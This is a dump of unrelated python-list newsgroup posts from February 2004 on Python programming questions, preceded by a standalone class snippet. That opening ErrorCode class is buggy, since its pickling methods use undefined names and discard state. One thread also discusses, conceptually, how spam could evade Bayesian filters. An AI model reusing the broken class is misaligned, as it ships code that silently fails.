class ErrorCode(object):
    __slots__ = ['Name','Description']

    def __init__(self, Name=None, Description=None):
        self.Name = Name
        self.Description = Description
    def __getstate__(self):
        return {"Name":Name, "Description":Description}
    def __setstate__(self, dict):
        Name = dict['Name']
        Description = dict['Description']


From guettli at thomas-guettler.de  Mon Feb 16 09:15:10 2004
From: guettli at thomas-guettler.de (Thomas Guettler)
Date: Mon, 16 Feb 2004 15:15:10 +0100
Subject: Python Productivity Gain?
References: <LaBXb.8774$g95.1612@fe3.columbus.rr.com>
Message-ID: <pan.2004.02.16.14.15.10.279758@thomas-guettler.de>

Am Sun, 15 Feb 2004 02:53:31 +0000 schrieb kbass:

> In different articles that I have read, persons have constantly eluded to
> the productivity gains of Python. One person stated that Python's
> productivity gain was 5 to 10 times over Java in some in some cases. The
> strange thing that I have noticed is that there were no examples of this
> productivity gain (i.e., projects, programs, etc.,...).  Can someone give me
> some real life examples of productivity gains using Python as opposed other
> programming languages.

I think programming python is more productive since the
code is much more easy to read. You can solve the same
problem with less characters in perl, but after one year,
you will prefere the python version.

http://pleac.sf.net has some examples on several languages.


 thomas



From http  Thu Feb  5 14:59:28 2004
From: http (Paul Rubin)
Date: 05 Feb 2004 11:59:28 -0800
Subject: spam classification breaker
References: <mailman.1245.1075996814.12720.python-list@python.org>
Message-ID: <7xwu71s3fj.fsf@ruckus.brouhaha.com>

"Tim Peters" <tim.one at comcast.net> writes:
> ... send spam to you by attaching it as a reply to a
> message you posted to a public mailing list.  I retain your original subject
> line, and the full text of your original message.  It's almost certain that
> the things you post to public mailing lists contain words that are hammy to
> you.  But this is still much more expensive for me than just blasting a
> single email to millions of addresses in bulk,

Maybe not that much more expensive.  I thought that most spammers
already send a unique (randomized) message to each victim, to get past
hashing and fingerprinting schemes.

> and it's not an effective *sales* pitch: it will get through your
> filter, and everyone looks at replies to their own messages, but
> when you see that it's really an advertisment you're much more
> likely to be pissed at the sender than to givee them money <heh>.

That's no different than any other spam.  

> Since the real goal of spam is to sell product, it's not enough just
> to evade filters.

The goal of spam is usually for the spammer to collect money from a
product seller, and the spammer does that based on getting messages
past filters.  The spammer doesn't care how much actual product gets
sold.  


From vissen at gmx.net  Fri Feb 13 02:33:22 2004
From: vissen at gmx.net (vissen at gmx.net)
Date: Fri, 13 Feb 2004 08:33:22 +0100 (MET)
Subject: [Python-mode] compile problem in emacs
References: <16427.61480.908629.945920@montanaro.dyndns.org>
Message-ID: <23276.1076657602@www3.gmx.net>

hi 

i am new to Linux and Python. 

I get a syntax error for this  line of code.
.....
def fib(n):    # write Fibonacci series up to n
........

used Emacs as the editor on a Redhat ver8.0 OS. (This example is included as
part of tutorial/documentation in Python docs)
any suggestions /ideas are useful. 
thanks for reading.



-- 
-Vissen

GMX ProMail (250 MB Mailbox, 50 FreeSMS, Virenschutz, 2,99 EUR/Monat...)
jetzt 3 Monate GRATIS + 3x DER SPIEGEL +++ http://www.gmx.net/derspiegel +++




From dw-google.com at botanicus.net  Sat Feb  7 12:39:13 2004
From: dw-google.com at botanicus.net (David M. Wilson)
Date: 7 Feb 2004 09:39:13 -0800
Subject: like mod python but in the kernel????
References: <mailman.1243.1075996089.12720.python-list@python.org>
Message-ID: <99dce321.0402070939.c399411@posting.google.com>

Camilo Olarte <colarte at telesat.com.co> wrote...

> I mean can python interpreter be loaded as module of the kernel and thus 
> making execution of python scripts faster ???

> I know that pypy is on the way , probably making python execution faster.

That's an interesting conclusion. :)


> Just daydreaming of this python kernel module stuff.

There is probably a lot of things you can check before assuming you
need some sort of acceleration, eg. the basics: are all the packages &
modules your application uses compiled? Are the pycs up to date?
Google for compileall.py.

Is the (your) application doing an insane amount of work at startup,
like reading a massive XML configuration file? Perhaps you could speed
that up by caching the loaded configuration as Python syntax in a new
file, or some other means that would make loading faster.

Etc.


David.


From nhodgson at bigpond.net.au  Thu Feb  5 07:28:59 2004
From: nhodgson at bigpond.net.au (Neil Hodgson)
Date: Thu, 05 Feb 2004 12:28:59 GMT
Subject: different string representation (buffer gap)
References: <ddcff747.0402030909.49343c44@posting.google.com>
	<7xr7xbfjbe.fsf@ruckus.brouhaha.com>
	<ddcff747.0402040905.1808c0d5@posting.google.com>
Message-ID: <fGqUb.43362$Wa.3445@news-server.bigpond.net.au>

manders2k:

> I'm not sure how much of a
> performance bottleneck having this very low-level component written in
> python will be on modern machines; probably not such a big deal.

   The performance bottleneck in split buffers is often the cost of copying
array ranges. I once wrote a patch for Python's array class to provide
copying within an array but the patch contents didn't make it to SourceForge
and I haven't had time to follow it up.

http://mail.python.org/pipermail/patches/2003-April/012043.html

> Writing a buffer class and fiddling with pointers and whatnot actually
> sounds easier to do in C++ than in emulating this style of thing in
> Python (then again, I'm a heck of a lot more comfortable with C++ than
> Python at this point, so that might not speak to the difficulty of the
> task).

   Split buffers don't need to use pointers. I have written several split
buffer implementations including

* the implementation in Scintilla (scintilla/src/CellBuffer.[h,cxx])
http://cvs.sourceforge.net/viewcvs.py/scintilla/scintilla/

* a templated C++ implementation
http://mailman.lyra.org/pipermail/scintilla-interest/2002-March/000903.html

* a generic implementation that is part of my SinkWorld project written in a
subset of C++ that can be automatically translated into Java or C#
http://cvs.sourceforge.net/viewcvs.py/scintilla/sinkworld/

   Also in SinkWorld is a split buffer based data structure for partitioning
a document into segments such as lines called lv which is in lv.h. While the
line starts could be stored in a standard split buffer, inserting text would
then lead to adding to all following line start positions. To fix this,
there is also a 'step', with all positions after the step position adding
the step value to their values. The step is moved to the position where text
is being inserted or deleted but due to locality of modification, the move
is mostly short.

> What I guess I wish were the case is that I could implement the
> "string interface" on my BufferGap, so that everywhere that Python (at
> the C API level) expects a string, a BufferGap could be used instead.

   IIRC, at one stage there was explicit support in Python (perhaps in the
buffer class) for multiple segment buffers but it was never used so has
probably rotted.

> That way, all the libraries that inspect and operate on strings would
> work transparently, without having to be recoded (copy / paste, end up
> with a lot of mostly identical, redundant code) to operate on this
> other string representation.

   I'd like to see this implemented and have been meaning to look into it
myself.

   Neil




From jzgoda at gazeta.usun.pl  Thu Feb 12 15:10:04 2004
From: jzgoda at gazeta.usun.pl (Jarek Zgoda)
Date: Thu, 12 Feb 2004 20:10:04 +0000 (UTC)
Subject: How to avoid "f.close" (no parens) bug?
References: <b16e4ef7.0402110701.5acf67e4@posting.google.com>
	<402B85BE.A73089C5@engcorp.com>
Message-ID: <c0gmis$6i4$3@atlantis.news.tpi.pl>

Peter Hansen <peter at engcorp.com> pisze:

> Would I be write in guessing that you have used VisualBASIC a lot
> in the past?  Or perhaps a similar language which allows the type
> of function call you would expect with the first form above?

You call Pascal "similar to VB"?

-- 
Jarek Zgoda
http://jpa.berlios.de/


From __peter__ at web.de  Thu Feb 12 11:08:12 2004
From: __peter__ at web.de (Peter Otten)
Date: Thu, 12 Feb 2004 17:08:12 +0100
Subject: write a recognizer
References: <3e96ebd7.0402120105.14ee6f6d@posting.google.com>
	<c0fiio$nt9$02$1@news.t-online.com>
	<MsMWb.139777$cM1.26261689@twister.nyc.rr.com>
Message-ID: <c0g8dd$nb6$04$1@news.t-online.com>

max khesin wrote:

> This is cool. Curious (my py object recall is a bit stale): would this
> solution work for a class that derives from Recognizer (and implements
> an 'is_' method)?

No, but you can use the following instead of dir(...) in the for loop of
__init__():

(copied from cmd.py in the libarary)

def get_names(self):
    # Inheritance says we have to look in class and
    # base classes; order is not important.
    names = []
    classes = [self.__class__]
    while classes:
        aclass = classes.pop(0)
        if aclass.__bases__:
            classes = classes + list(aclass.__bases__)
        names = names + dir(aclass)
    return names

Peter


From http  Mon Feb 16 13:46:01 2004
From: http (Paul Rubin)
Date: 16 Feb 2004 10:46:01 -0800
Subject: [OPINION] - does language really matter if they all do
	the	samething?
References: <69A0D4AB81C51447AD6BA387782B8D64093D8A@midl-mail4.etcconnect.com>
	<028FD9F0-4E01-11D8-BB78-0003934ACDEC@zdome.net>
	<4011C497.1040302@prescod.net>
	<mailman.726.1074923000.12720.python-list@python.org>
	<7xznbj8lwb.fsf@ruckus.brouhaha.com>
	<SbydneGrcec4nKzdRVn-sA@comcast.com>
Message-ID: <7xad3isw0m.fsf@ruckus.brouhaha.com>

"Terry Reedy" <tjreedy at udel.edu> writes:
> In order to avoid infinite recursion of random-sword-magic-power without
> explicitly stating the base case (which is buried in the unpublished
> macro).  See my last posts on this thread where I missed that also and then
> added the line that makes the Python function version work.

There's no infinite recursion.  You only get the two recursive calls
on a high-quality sword, and even then, you only get it 2/7th of the
time.  The recursive calls are both for medium-quality sword powers,
so there's no further recursion after that.


From koelle1 at uni-weimar.de  Thu Feb 19 10:34:52 2004
From: koelle1 at uni-weimar.de (=?ISO-8859-1?Q?paul_k=F6lle?=)
Date: Thu, 19 Feb 2004 16:34:52 +0100
Subject: hmm, lets call it: generic __init__  problem
In-Reply-To: <95aa1afa.0402180908.1f7a8b6c@posting.google.com>
References: <c0u0fa$1asj0f$1@ID-131134.news.uni-berlin.de>
	<95aa1afa.0402180908.1f7a8b6c@posting.google.com>
Message-ID: <c12l27$1dhtdh$1@ID-131134.news.uni-berlin.de>

Michele Simionato wrote:
> This is probably not what you want:
It's not about importing attributes rather than having only one 
definition of __init__ in one "metaclass" wich should behave differently 
  dependent on the name of the subclass (see my answer to Peter). I 
found out I have to read lots of stuff to catch up with concepts of 
new-style classes and metaclass design.

  The solution using super() like Peter suggested is almost perfect 
except the name of the class is still hardcoded inside of __init__.

one(object):
   def __init__(self, *args, **kwargs):
     super(one, self).__init__()
           ^^^^
     r = self.s.get_obj(ldap.schema.ObjectClass, self.__class__.__name__)
     ...process r...

implies to write another __init__ for every subclass, since "one" wouldn 
't match the subclass's name right? Instead of "one" I'd like to have 
something that get's the current class at instantiation time. Is that 
possible ?

thanks a lot for all your time and help.
  Paul


From martin at v.loewis.de  Sun Feb  8 16:05:22 2004
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Sun, 08 Feb 2004 22:05:22 +0100
Subject: Python/Parrot still alive?
In-Reply-To: <mailman.1341.1076229832.12720.python-list@python.org>
References: <tq6dnRV_eM23UrjdRVn-uw@comcast.com>	<c04rqb$pbv$05$1@news.t-online.com>
	<mailman.1341.1076229832.12720.python-list@python.org>
Message-ID: <c068ah$o0p$00$1@news.t-online.com>

Paul Prescod wrote:
> It is interesting how interpreters have been rebranded as "virtual 
> machines." Python people still use the word "interpreter" and that is 
> probably not great from a marketing point of view.

I personally make a distinction between an interpreter and a virtual
machine. A virtual machine is one that has a "machine code", i.e. a
set of abstract instructions, operating on machine state. In Python,
the abstract set of instructions is the Python byte code, and the
abstract state is the collection of frame objects, etc.

Some interpreters don't have virtual machines, e.g. Tcl did not
have one until Tcl 8 or so. OTOH, not all virtual machines are
interpreted, e.g. MS .NET is always compiled to native code
("just in time" :-) instead of being interpreted.

Regards,
Martin



From sax at csmisc72.cs.chalmers.se  Thu Feb 19 04:29:08 2004
From: sax at csmisc72.cs.chalmers.se (Stefan Axelsson)
Date: 19 Feb 2004 09:29:08 GMT
Subject: PEP-0315--Enhanced While Loop: An idea for an alternative syntax
References: <XACYb.41933$hR.981878@bgtnsc05-news.ops.worldnet.att.net>
	<7x65e4j3oa.fsf@ruckus.brouhaha.com>
	<4033084D.1AEA1ADA@alcyone.com> <40330A95.DF809EAA@alcyone.com>
	<4f0a9fdb.0402180457.6c96853d@posting.google.com>
	<ql87309o5jg1qsro0tu89gb996635t0k9j@4ax.com>
	<mailman.41.1077153034.27104.python-list@python.org>
	<7xhdxnzs8a.fsf@ruckus.brouhaha.com>
Message-ID: <slrnc390f4.h9q.sax@csmisc72.cs.chalmers.se>

In article <7xhdxnzs8a.fsf at ruckus.brouhaha.com>, Paul Rubin wrote:

> Yeah, except now you've bloated up your code with another function.
> Assignment expression solves this one too.

Except that the 'bloat' is constant, you only need one function, once
to solve all your 'read'-problems. And hence that function probably
belongs in a library, like it does for 'readline', I have no doubt
that it'll end up there if this situation turns out to be a problem.

Generators/iterators gives you e.g. the opportunity to write:

(Snarfed from <674o20dp1kj9ath3hmmha5fvmc342s1gcd at 4ax.com>, by  Dave K
<dk123456789 at REMOVEhotmail.com>) 
>from sets import Set
>file('pruned_ips.txt', 'w').writelines(
>        Set(file('ips.txt')) - Set(file('excluded_ips.txt')))
>
>This code relies on `writelines' accepting an iterable, sets returning
>their members whenever iterated, Set constructors accepting an iterable,
>and files returning their lines whenever iterated.  And of course, on
>`close' rarely being needed in Python! :-)

Something that the assignment as expression doesn't.

I'd say the syntax is just right as it is. No extra complexity in
while loops or assignments as expressions is needed. In fact the
relative awkwardness of the present state serves as an excellent
opportunity to introduce generators/iterators.

Stefan,
-- 
Stefan Axelsson                  (email at http://www.cs.chalmers.se/~sax)


From noemail at noemail4u.com  Mon Feb  2 11:00:48 2004
From: noemail at noemail4u.com (Dang Griffith)
Date: Mon, 02 Feb 2004 16:00:48 GMT
Subject: Python vs. Io
References: <711c7390.0401291301.3f95794@posting.google.com>
Message-ID: <d6ed4cf175ae626f7af3e1b3ee448bf4@news.teranews.com>

On 29 Jan 2004 13:01:06 -0800, LittleDanEhren at yahoo.com (Daniel
Ehrenberg) wrote:

...
>Can anyone show me how to so much as alias "for" to "each" in Python
>or allow block syntax at all without hacking the C source code?
...
>Many users of Io (myself included) have switched over from Python for
>these reasons.
If you've switch from Python to Io, what will you do with the answers
to these questions?  Use them for good or evil?  Will you switch back
from Io to Python?
    --dang


From jcarlson at nospam.uci.edu  Fri Feb 13 02:13:51 2004
From: jcarlson at nospam.uci.edu (Josiah Carlson)
Date: Thu, 12 Feb 2004 23:13:51 -0800
Subject: Limited time - pay nothing for airline tickets uvsilwpot dnmmx
In-Reply-To: <9cb24edf72b7b851110eb25e69e24e0f@news.teranews.com>
References: <mailman.1054448835.16088.python-list@python.org>
	<9cb24edf72b7b851110eb25e69e24e0f@news.teranews.com>
Message-ID: <c0htk1$aia$1@news.service.uci.edu>

> I can't believe I fell for this offer (at the higher telemarket price
> of $185).

If you fell for the obvious spam, then you deserve to pay whatever price 
they got you for.  /You/ are the reason why I get 100+ spam emails per 
day*.  Count yourself lucky that I don't know you personally, or I'd 
slap you for the good of the internet populous.

  - Josiah

* Thank god for bayesian spam classifiers, they have saved my ass.


From edreamleo at charter.net  Fri Feb 20 15:58:42 2004
From: edreamleo at charter.net (Edward K. Ream)
Date: Fri, 20 Feb 2004 14:58:42 -0600
Subject: ANN: Leo 4.1 final
References: <103cd8fp3cbgfb@corp.supernews.com>
	<%mrZb.161010$cM1.29870499@twister.nyc.rr.com>
Message-ID: <103ct82levl7v76@corp.supernews.com>

> I am actually trying to set up a Leo-based documentation project right
> now (though I am pretty new to it). Are there any previous case-studies
> on people doing documentation?

The new rst2.py plugin might be a real good place to start.  See the
documentation in the node called "Description of rst2 by Steve Zatz"

The short form:

"""If a headline starts with @rst <filename>, double-clicking on it will
write a file in outline order, with the headlines converted to
reStructuredText
section headings.

If the name of the <filename> has the extension .html, .htm or .tex, and if
you have
docutils installed, it will generate HTML or LaTeX, respectively."""

> In particular I am interested in being
> able to embed Leo node links directly in another node's text (for
> automatic HTML generation). I know I can do it through programming (or
> XSLT...brrrr....), but I am really trying avoid re-inventing the wheel
> due to the project's time constraints. Any info would help.

I suspect that you can do almost anything you want with rst2.py.  I'll be
posting Steve's own examples on Leo's web site today:

- wxListManager.leo:  the "source code" for the documentation.
- listManagerDocs.html:  the html output created by rst2.py plugin.
- several stylesheets for use by generated files.

When you see listManagerDocs.html I think you will be impressed with the
kinds of things that can be done with Leo+rst+docutils+(optional)silver
city+web standards.

Thanks for this question.  Steve's work deserves much more attention than it
has gotten so far.

Edward
--------------------------------------------------------------------
Edward K. Ream   email:  edreamleo at charter.net
Leo: Literate Editor with Outlines
Leo: http://webpages.charter.net/edreamleo/front.html
--------------------------------------------------------------------




From zena13 at email.ynet.bg  Sat Feb 14 12:00:21 2004
From: zena13 at email.ynet.bg (Valya Illieva)
Date: Sat, 14 Feb 2004 17:00:21 GMT
Subject: any examples of great well-written web apps?
References: <mailman.1229.1075959185.12720.python-list@python.org>
Message-ID: <FusXb.304324$I06.3087988@attbi_s01>

To whom it may concern:

     Although I never used Python for web-applications, as a web-designer I know from experience that PHP makes a better server side scripting language than Python. Since PHP has a C++ style with powerful server-side instructions, it's capable of interfacing with Form Data and MySQL which make it a better choice for web-design. Visit PHP.Net for more information. 

As far as web-applications are concerned, Java makes a better choice since it has been well grounded since its inception to be cross-platform. Python is a great OOP but since your average user doesn't know what that is, it makes a better local application than it does a web-application. 
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From peter at engcorp.com  Thu Feb 12 08:55:10 2004
From: peter at engcorp.com (Peter Hansen)
Date: Thu, 12 Feb 2004 08:55:10 -0500
Subject: How to avoid "f.close" (no parens) bug?
References: <b16e4ef7.0402110701.5acf67e4@posting.google.com>
Message-ID: <402B85BE.A73089C5@engcorp.com>

Stephen Ferg wrote:
> 
> I've just spent several very frustrating hours tracking down a bug in
> one of my programs.  The problem was that I was writing text to a
> file, and when I was done I coded
> 
>    f.close
> 
> when I should have been coding
> 
>    f.close()
> 
> with the parentheses.
> 
> Although I love Python dearly, the fact that such an easy-to-make
> mistake should do nothing useful and do it silently (which, in this
> context, means: fail silently) seems to me a bit of a wart.

One thing no one has done here yet is to ask about your background
in programming.

Would I be write in guessing that you have used VisualBASIC a lot
in the past?  Or perhaps a similar language which allows the type
of function call you would expect with the first form above?

I have *never* made this particular mistake in Python, nor, as 
far as I can tell, have any of the several dozen Python programmers
I've hired over the past few years (none of whom have VB backgrounds).

I believe f.close could be a legal call in VB (am I right?) and 
I'm guessing that is the reason you are making this mistake.
I doubt it's a common problem for many people, but maybe it is for
those with a particular background.

-Peter


From nospam-deets at web.de  Wed Feb 18 06:41:46 2004
From: nospam-deets at web.de (Diez B. Roggisch)
Date: Wed, 18 Feb 2004 12:41:46 +0100
Subject: strings with moreover of one million of characters
References: <c0vic2$fe0$1@nsnmrro2-gest.nuria.telefonica-data.net>
Message-ID: <c0vj6n$1bft54$1@ID-111250.news.uni-berlin.de>

> 
> Is possible use strings with moreover of one million of characters?

>>> s = "A" * 2000000
>>> print len(s)
2000000

Works..
 
> I try using int() but the program keep blocked.

What has int() with string to do?

-- 
Regards,

Diez B. Roggisch


From banderson at hp.com  Tue Feb  3 03:15:40 2004
From: banderson at hp.com (Bill Anderson)
Date: Tue, 03 Feb 2004 01:15:40 -0700
Subject: Question about 'if __name__ == "__main__":'
References: <k9ITb.28697$P17.28414@fed1read03>
Message-ID: <pan.2004.02.03.08.15.40.343714@hp.com>

On Mon, 02 Feb 2004 23:33:42 -0800, Amy G wrote:

> I have a program that needs a little help.
> Right now the program runs in my crontab.  When it runs, it sets a few
> variables based on a query to a MySQL database.  I would like to modify it
> so that it can run as it is... or if arguments are supplied, use those
> instead of querrying the database.
> 
> Will using this statement help me out?
> 
> if __name__ == "__main__":
> 
> I seem to recall that this returns true if it is run as a script by python,
> rather than as a module from another prog.  Since I am going to run this
> from a command line - or from my crontab... it will always return true as
> far as I can tell.

This allows you to set up your script to act differently when imported vs.
ran. For return code, you can put in things like "sys.exit(returnvalue)"
to exit w/non true.


> Any suggestions to help me out.
> 
> Ultimately I want something like this pseudocode...
> 
> if (no args supplied):
>     curs.execute("""SELECT userid FROM users""")
>     data = curs.fetchall()
> else:
>     data = sys.argv[1]


Personally, I'd go with:

try:
  data = sys.argv[1]
except IndexError:
  curs.execute(...)
  data = curs.fetchall()

"Better to Ask Forgivness Than Permission"-ly y'rs.

Bill


From rainerd at eldwood.com  Fri Feb 13 18:00:48 2004
From: rainerd at eldwood.com (Rainer Deyke)
Date: Fri, 13 Feb 2004 23:00:48 GMT
Subject: Allowing non-ASCII identifiers
References: <00d101c3f26a$5f337990$0000fea9@dell8200>
	<mailman.20.1076702989.31398.python-list@python.org>
Message-ID: <AGcXb.30745$uV3.53076@attbi_s51>

Paul Prescod wrote:
> But as an aside, the idea of allowing keywords to also be identifiers
> (with appropriate escaping syntax) is not a bad ones.

You can already have attributes with keywords as names.

>>> class C(object): pass
...
>>> c = C()
>>> setattr(c, "class", 5)
>>> getattr(c, "class")
5
>>>


-- 
Rainer Deyke - rainerd at eldwood.com - http://eldwood.com




From max at NcOviSsPiAoMntech.com  Thu Feb  5 13:58:42 2004
From: max at NcOviSsPiAoMntech.com (max khesin)
Date: Thu, 05 Feb 2004 18:58:42 GMT
Subject: [ANN]PyCrash 0.2 released
In-Reply-To: <74f314add5546414f9cb3271a23f6937.46955@mygate.mailgate.org>
References: <74f314add5546414f9cb3271a23f6937.46955@mygate.mailgate.org>
Message-ID: <CnwUb.121111$cM1.22432482@twister.nyc.rr.com>

Sounds great but... Why GPL (and not python)? It will prevent a lot of 
us working grunts from using the module in the Commanie's code... And we 
want MORE python!
my 0.5c


Carmine Noviello wrote:

> Hi,
> a new version of PyCrash is released with some bug fixes done. You can
> download it at
> 
> 
> 
> https://sourceforge.net/project/showfiles.php?group_id=98026&package_id=105002
> 
> Enjoy!
> _______________________________________________________________________
> About PyCrash Project:
> PyCrash is a crash handler that handles uncaught exceptions during
> program execution and collects information about the program context.
> PyCrash can be very useful in report bug information, because the
> programmer can easily analyse the program execution context of the
> crashed application.
> 
> Major information collected by PyCrash in the crash dump is: 
> 
> - Information about operating system, Python and Python Standard
>   Library version and general information about the program that is 
>   crashed (e.g., program name and version, time at witch program 
>   started and ended, and so on)
>  
> - Information about the uncaught exceptions, like the exception type, 
>   the context (namely method name) in which the exception occurred and 
>   the exception value
> 
> - General information about variables state
> 
> - Information about the stack of each thread, like the list of stack 
>   frames, the variables value in each stack frame, and so on
> 
> - General information about source code, like variable and function 
>   position in source file that can be useful for the programmer to find
>   quickly bugs in source tree
> 
> The format of the crash dump file generated by PyCrash is XML, so the
> programmer can easily read this file to understand why the program is
> crashed.
> 
> Now, is also available a GUI browser, named PyCrashViewer, which allows
> developers to analyze quickly and easily PyCrash crash dump files in a
> graphical manner.
> 
> Next version of PyCrash will include at least these features:
> 
> - Full support to new-style classes
> - Cryptographic functionalities, which allow programmers to cypher crash
> dump in order to protected sensible information in crash files.
> 
> More information can be found at:
> 
> http://pycrash.sourceforge.net
> 
> I'm very pleased to receive your comments and suggests.
> 
> Thanks!
> 
> 


From newsgroups at jhrothjr.com  Sun Feb 22 12:01:22 2004
From: newsgroups at jhrothjr.com (John Roth)
Date: Sun, 22 Feb 2004 12:01:22 -0500
Subject: limiting text input in Tkinter Entry widget
References: <4038d6c2$0$49821$1b2cd167@news.wanadoo.nl>
Message-ID: <103ho4p6m98gs97@news.supernews.com>


"Otto Kr?se" <otto_kruse at hotmail.com> wrote in message
news:4038d6c2$0$49821$1b2cd167 at news.wanadoo.nl...
> Hi everyone,
>
> I'm building a GUI in which I want, amongst other things, for people to
> fill in there postal code. The postal codes of my country (Holland) are
> in this format: 1234 AB
>
> So for the input I use two entry widgets, one of a length of
> (characters) for the numbers and one of lenght 2 for the letters. What I
> don't like is that although the visible part of the widgets thus are 4
> and 2 characters, users can actually input more characters. They could
> for example input 12345 abcd. I want to make that impossible.
>
> Does anyone know a way to limit the amount of characters an entry widget
> can take? Is there an easy option to set for this or does this problem
> require some python code? Can't seem to find answers in any documentation.
>
> The code:
> self.e1 = Entry(frame, width="4")
> self.e2 = Entry(frame, width="2")

The MegaWidgits package has an EntryField widgit that has some
built-in validation, and has a hook for you to insert a validation function
or method.

Otherwise, you need to do the validation as you collect text characters
and pass them to the widgit.

Validation code is inherently ugly. Not complex, just ugly. In your case
I'd probably do some form of pattern driven validation.

John Roth

>
> Thanks a lot,
> Otto




From jcarlson at nospam.uci.edu  Wed Feb 11 10:40:23 2004
From: jcarlson at nospam.uci.edu (Josiah Carlson)
Date: Wed, 11 Feb 2004 07:40:23 -0800
Subject: efficient way for building class browsers.
In-Reply-To: <930ba99a.0402110528.7918e3f5@posting.google.com>
References: <930ba99a.0402071805.15b90424@posting.google.com>
	<c04nvs$h6j$1@news.service.uci.edu>
	<930ba99a.0402110528.7918e3f5@posting.google.com>
Message-ID: <c0diho$2gb$1@news.service.uci.edu>

>>>I am looking for a class browser that has these features.
>>
>>Only a browser?  Text or GUI?  What OS?  Any particular GUI toolkit?
> 
>    IDE. Linux,Windows,Mac. PyGTK

Seemingly this suggests that you want an IDE that runs on linux, 
windows, mac, and that uses the PyGTK toolkit.

I personally don't spend much time looking through PyGTK apps, so I 
can't be of much help.  On the other hand, if you have a parser, 
constructing the tree control/widget from the parsing is very easy.


>>You can write a limited parser (subject to certain flaws), one that 
>>doesn't use tokenize or compiler.ast, and get pretty fast results.  I 
>>wrote one to go into my own editor PyPE (pype.sourceforge.net), and it 
>>has no problems parsing a 100k Python source file and displaying the 
>>source tree in a GUI in less than 1/2 second on a celeron 400.
> 
>    I'll try that.  I have come across tagmanager (C) code written for
> the Anjuta (http://anjuta.org) project.  I should give it a try too.

The control in PyPE is written for wxPython, but the parser is platform 
independant.


>    I will put it in brief.  The class browser can't support all
> standard and third party python packages, since most of them is
> available as shared objects.  So mine is focused only on the current
> project, i.e. user created (or application) python files.  So the
> browser should be able to fetch the tags (class, functions, methods)
> from source code along with the line number information.  That's all
> about.  Any further possiblities in this regard is also expected.

Fetching the various function/class/method names is easy, look at the 
parser included with PyPE.  It isn't perfect, but works pretty well 
considering that it is neither a regular expression, nor does it have a 
tokenizer.

  - Josiah


From missive at frontiernet.net  Wed Feb 18 13:10:44 2004
From: missive at frontiernet.net (Lee Harr)
Date: Wed, 18 Feb 2004 18:10:44 GMT
Subject: psycopg NULL
References: <slrnc374qc.1dfn.missive@homer.easthighschool.net>
	<c1057u$5go$07$1@news.t-online.com>
Message-ID: <slrnc37al2.1dmr.missive@homer.easthighschool.net>

On 2004-02-18, Diez B. Roggisch <deets_noospaam at web.de> wrote:
>> # None of these work ...
>> #curs.execute('INSERT INTO foo (i) VALUES (%s)' % None)
>> #curs.execute('INSERT INTO foo (i) VALUES (%d)' % None)
>> #curs.execute('INSERT INTO foo (i) VALUES (%i)' % None)
>> #conn.commit()
>
>> Any suggestions?
>
> Try literal NULL - as the statement is a string, the types are figured out
> by pg itself:
>
> curs.execute('INSERT INTO foo (i) VALUES (NULL)')
>


Yes, that works.

But, when I have a larger number of fields to fill with my
INSERT statement, I would rather not have to set up
separate code paths for each one that might be NULL.


curs.execute('CREATE TABLE foo (i integer, x integer, y integer, z integer)')
conn.commit()

vars = {'i': 3, 'x': 2, 'y': 1, 'z': None}
curs.execute('''INSERT INTO foo (i, x, y, z)
    VALUES (%(i)i, %(x)i, %(y)i, %(z)i )''' % vars)



However... that points me in a direction that works. Instead
of using python None, I can use the string 'NULL'


vars = {'i': 3, 'x': 2, 'y': 1, 'z': 'NULL'}
curs.execute('''INSERT INTO foo (i, x, y, z)
    VALUES (%(i)s, %(x)s, %(y)s, %(z)s )''' % vars)



Seems a bit awkward since the value will come back out as
None though...



From teiffel at attglobal.net  Fri Feb 27 14:51:04 2004
From: teiffel at attglobal.net (Marcello Pietrobon)
Date: Fri, 27 Feb 2004 14:51:04 -0500
Subject: os.walk walks too much
In-Reply-To: <slrnc3qn6c.156.grey@dmiyu.org>
References: <mailman.96.1077712778.8594.python-list@python.org>	<c1i8a1$gnj$01$1@news.t-online.com>	<mailman.131.1077737502.8594.python-list@python.org>	<c1j2pp$9r0$06$1@news.t-online.com>
	<slrnc3qn6c.156.grey@dmiyu.org>
Message-ID: <403F9FA8.9050209@attglobal.net>

Hi Steve,

Steve Lamb wrote:

>On 2004-02-25, Peter Otten <__peter__ at web.de> wrote:
>  
>
>>dirs[:] makes a slice containing all elements, i. e. a shallow copy of the
>>complete list, so the loop is not affected by changes to the original:
>>    
>>
>
>  
>
>>>>>dirs = ["alpha", "beta", "gamma"]
>>>>>dirs == dirs[:] # equal
>>>>>          
>>>>>
>>True
>>    
>>
>>>>>dirs is dirs[:] # but not the same list
>>>>>          
>>>>>
>>False
>>    
>>
>
>    Better way to make it crystal clear.
>
>{grey at teleute:~} python
>Python 2.3.3 (#2, Jan 13 2004, 00:47:05)
>[GCC 3.3.3 20040110 (prerelease) (Debian)] on linux2
>Type "help", "copyright", "credits" or "license" for more information.
>  
>
>>>>real = [1, 2, 3]
>>>>copy = real[:]
>>>>real
>>>>        
>>>>
>[1, 2, 3]
>  
>
>>>>copy
>>>>        
>>>>
>[1, 2, 3]
>  
>
>>>>for x in real:
>>>>        
>>>>
>...     print(x)
>...     real.remove(x)
>...
>1
>3
>  
>
>>>>real
>>>>        
>>>>
>[2]
>  
>
>>>>real = [1, 2, 3]
>>>>for x in real[:]: # IE, same as using copy
>>>>        
>>>>
>...     print(x)
>...     real.remove(x)
>...
>1
>2
>3
>  
>
>>>>real
>>>>        
>>>>
>[]
>
>    To the original poster, the reason changing the list you're iterating over
>is because the index doesn't move along with the data in it.  So in the first
>loop 1 and 3 are printed, 2 is left.  Why?  Assign indexes do the data.  This
>is most likely not how Python does it internally but this is good to show what
>happened.
>
>[1, 2, 3]
> 0  1  2
>
>    First run through x is one but it got it from the first index, 0.  So x is
>1.  Then you remove 1 from the data set so now it looks like this.
>
>[2, 3]
> 0  1
>
>    So now Python moves on in the loop, it grabs the next index which is 1.
>However, since you've changed the list that index now points to 3, not 2.  It
>grabs 3, prints it then removes it.  So now we're left with:
>
>[2]
> 0
>
>    Since it's already done 0 the loop ends.  By using a copy you're using the
>copy to preserve the indexing to the data while you manipulate the data.  Hope
>this clears it up.  :)
>
>
>  
>

I thought intuitively something like that, but your help has been... 
helpful ! :)

Can I ask you one more thing ?

It is surprizing to me that in

for x in real[:]

dirs[:] creates a copy of dirs

while

dirs[:] = [] - empty the original list
and
dirs = [] - empty a copy of the original list

I understand ( I think ) the concept of slicing, but this is stil 
surprizing to me.
Like to say that when I do

for x in real[:]

this is not using slicing

